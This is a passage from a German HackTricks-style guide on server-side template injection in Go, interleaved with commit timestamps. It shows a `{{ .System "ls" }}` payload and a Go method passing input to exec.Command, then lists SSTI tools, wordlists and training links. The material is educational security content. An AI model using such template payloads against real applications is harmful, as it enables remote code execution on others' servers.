Die RCE-Exploitation unterscheidet sich erheblich zwischen `html/template` und `text/template` . Das `text/template` -Modul erlaubt das direkte Aufrufen jeder öffentlichen Funktion (unter Verwendung des „call“-Wertes), was in `html/template` nicht gestattet ist. Die Dokumentation für diese Module ist [hier für html/template ](https://golang.org/pkg/html/template/ ) und [hier für text/template ](https://golang.org/pkg/text/template/ ) verfügbar.
2024-04-06 18:30:57 +00:00
2024-08-12 14:42:22 +00:00
Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn das bereitgestellte Objekt beispielsweise eine `System` -Methode hat, die Befehle ausführt, kann es wie `{{ .System "ls" }}` ausgenutzt werden. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
2022-02-03 00:17:18 +00:00
```go
func (p Person) Secret (test string) string {
2024-02-10 15:36:32 +00:00
out, _ := exec.Command(test).CombinedOutput()
return string(out)
2022-02-03 00:17:18 +00:00
}
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2022-02-03 00:17:18 +00:00
2024-08-12 14:42:22 +00:00
* [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to ](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to )
2022-02-03 00:17:18 +00:00
* [https://www.onsecurity.io/blog/go-ssti-method-research/ ](https://www.onsecurity.io/blog/go-ssti-method-research/ )
2021-05-27 10:20:50 +00:00
2024-02-10 15:36:32 +00:00
### Weitere Exploits
2021-06-25 12:34:30 +00:00
2024-08-12 14:42:22 +00:00
Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection ) für weitere Exploits. Außerdem finden Sie interessante Tag-Informationen in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI ](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI )
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
## BlackHat PDF
2020-07-15 15:43:14 +00:00
2024-05-05 22:18:38 +00:00
{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
## Verwandte Hilfe
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
* [Flask Tricks ](../../network-services-pentesting/pentesting-web/flask.md )
* [Python Magische Funktionen ](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md )
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
## Werkzeuge
2020-07-15 15:43:14 +00:00
2024-02-06 14:12:47 +00:00
* [https://github.com/Hackmanit/TInjA ](https://github.com/Hackmanit/TInjA )
* [https://github.com/vladko312/sstimap ](https://github.com/vladko312/sstimap )
* [https://github.com/epinna/tplmap ](https://github.com/epinna/tplmap )
* [https://github.com/Hackmanit/template-injection-table ](https://github.com/Hackmanit/template-injection-table )
2021-06-27 21:56:13 +00:00
2024-07-19 16:12:53 +00:00
## Brute-Force Erkennungs-Liste
2021-06-27 21:56:13 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
2020-07-15 15:43:14 +00:00
2024-08-12 14:42:22 +00:00
## Übung & Referenzen
2020-07-15 15:43:14 +00:00
* [https://portswigger.net/web-security/server-side-template-injection/exploiting ](https://portswigger.net/web-security/server-side-template-injection/exploiting )
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI ](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI )
2024-02-06 14:12:47 +00:00
* [https://portswigger.net/web-security/server-side-template-injection ](https://portswigger.net/web-security/server-side-template-injection )
2022-04-28 16:01:33 +00:00
2022-10-25 15:56:49 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
2024-07-19 16:12:53 +00:00
[**RootedCON**](https://www.rootedcon.com/) ist die relevanteste Cybersecurity-Veranstaltung in **Spanien** und eine der wichtigsten in **Europa** . Mit **der Mission, technisches Wissen zu fördern** , ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2024-07-19 16:12:53 +00:00
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Lernen & üben Sie GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 16:12:53 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 16:12:53 +00:00
< summary > Unterstützen Sie HackTricks< / summary >
2024-01-01 17:15:42 +00:00
2024-07-19 16:12:53 +00:00
* Überprüfen Sie die [**Abonnementpläne** ](https://github.com/sponsors/carlospolop )!
* **Treten Sie der** 💬 [**Discord-Gruppe** ](https://discord.gg/hRep4RUj7f ) oder der [**Telegram-Gruppe** ](https://t.me/peass ) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) und [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) GitHub-Repos senden.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 16:12:53 +00:00
{% endhint %}